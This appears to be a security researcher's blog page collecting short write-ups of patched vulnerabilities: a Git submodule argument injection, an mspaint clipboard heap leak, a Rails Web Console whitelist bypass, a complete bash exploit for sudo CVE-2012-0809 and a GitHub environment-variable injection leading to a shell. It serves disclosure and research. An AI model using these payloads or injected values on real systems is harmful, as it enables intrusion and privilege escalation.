CVE-2018-17456

I’ve gotten a couple of questions about exploitation for the recent RCE in Git. So here we go with some technical details.

TL;DR

Here is a PoC repository.

Exploitation

The .gitmodules file looks as follows:

[submodule "x:x"]
	path = x:x
	url = -u./payload

The actual command being injected is set by the url, -u./payload points the upload-pack flag of git clone to the payload shell script. Note also the : within the path, this part is needed to actually get the payload script executed.

[]

Paintbleed

Summary

mspaint.exe does not properly verify Dib data from the clipboard. Therefore we can craft some Dib data in the clipboard which e.g. suggests a size of 0x100 by 0x100 pixels and contains not more than the Dib header itself. So the actual image data rendered by mspaint.exe is its own heap data =)

PoC

Run the following code in PowerShell:

$bytes = 40,0,0,0,0,1,0,0,0,1,0,0,1,0,24,0,0,0,0,0,136,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
[System.Windows.Forms.Clipboard]::SetData([System.Windows.Forms.DataFormats]::Dib,[System.IO.MemoryStream]::new($bytes))

Afterwards open mspaint.exe and paste. The result should be the graphical representation of some of mspaints.exe’s heap memory.

[]

WebConsole IP Whitelist bypass

With the release of Ruby on Rails 4.2 the so called Web Console was introduced.

As the Web Console documentation states: Web Console is built explicitly for Rails 4.

By default the Web Console is available in the Rails Development Environment and allows only the IPs 127.0.0.1 and ::1 to access the console in order to evaluate arbitrary Ruby statements for the purpose of debugging.

However with Rails Versions 4.1 and 4.0 the Web Console built in IP whitelist is bypassable. This is due to the fact that Web Console parses the request.remote_ip to check if the IP is whitelisted with the Ruby class IPAddr. The Rails stack prior to 4.2 when calculating request.remote_ip uses these regular expressions to strip out trusted Proxies from the HTTP Headers X-Forwarded-For and Client-IP.

[]

CVE-2012-0809 Exploit

Original gist

#!/bin/bash
# CVE-2012-0809 exploit
# joernchen of Phenoelit's version
# Payload to be executed goes to /tmp/a (might be a shell script)

cd /tmp
/bin/echo '-> Clearing ENV'
for i in `env |cut -f1 -d "="` ;do unset $i;done  
/bin/echo '-> Creating symlink'
/bin/ln -s /usr/bin/sudo ./%134520134x%900\$n
/bin/echo '-> Setting ENV'
export AAA=AAAA;
export A;
for i in `/usr/bin/seq 1 5000`; do
export A=$A`echo -n -e '\x24\x83\x05\x08'`;
done;

/bin/echo '-> Now a little Brute-Force'
while true ; do SUDO_ASKPASS=/tmp/a ./%134520134x%900\$n -D9 -A id 2>/dev/null ; if [[ "$?" == "1" ]]; then break ;fi  ; done
/bin/echo '-> Cleaning up'
/bin/rm /tmp/%134520134x%900\$n
[]

GitHub RCE Writeup

Original gist

GitHub RCE by Environment variable injection Bug Bounty writeup

Disclaimer: I'll keep this really short but  I hope you'll get the key points.

GitHub blogged a while ago about some internal tool called gerve:
https://github.com/blog/530-how-we-made-github-fast

Upon git+sshing to github.com gerve basically looks up your permission
on the repo you want to interact with. Then it bounces you further in
another forced SSH session to the back end where the repo actually is.

At some point I figured that it is possible to inject some environment
variables into gerve/the forked SSH process by setting my username to
something like "joerchen\n\nLD_ASSUME_KERNEL=1\n\n".

LD_ASSUME_KERNEL=1 will prevent the actual command from being run, just
like this:

---
joernchen ~ $ LD_ASSUME_KERNEL=1 uname -a
uname: error while loading shared libraries: libc.so.6: cannot open shared object file: No such file or directory
---

For the details on this, check man 8 ld.so.

So far so good, how can we use this fact to make SSH execute arbitrary
commands?

The technique I came up with used both features of ld.so and SSH itself:

LD_PRELOAD=/path/to/libfakeroot.so
SSH_ASKPASS=/usr/bin/ex
DISPLAY=:1

How and why did this work?

1.) libfakeroot makes SSH think it's root (we can inject this via
    LD_PRELOAD because the ssh binary is not setuid)
2.) ssh tries to read /root/.ssh/known_hosts
3.) ssh fails reading 'cause it's actually running as the git user
4.) ssh connects to $backend and wants to ask the user if
    $backend_hostkey is OK.
5.) ssh has no terminal and DISPLAY is set
6.) ssh invokes the command specified in SSH_ASKPASS

From being dropped in /usr/bin/ex we could just say:
!/bin/sh
and be happy with having a shell as git@github.com
[]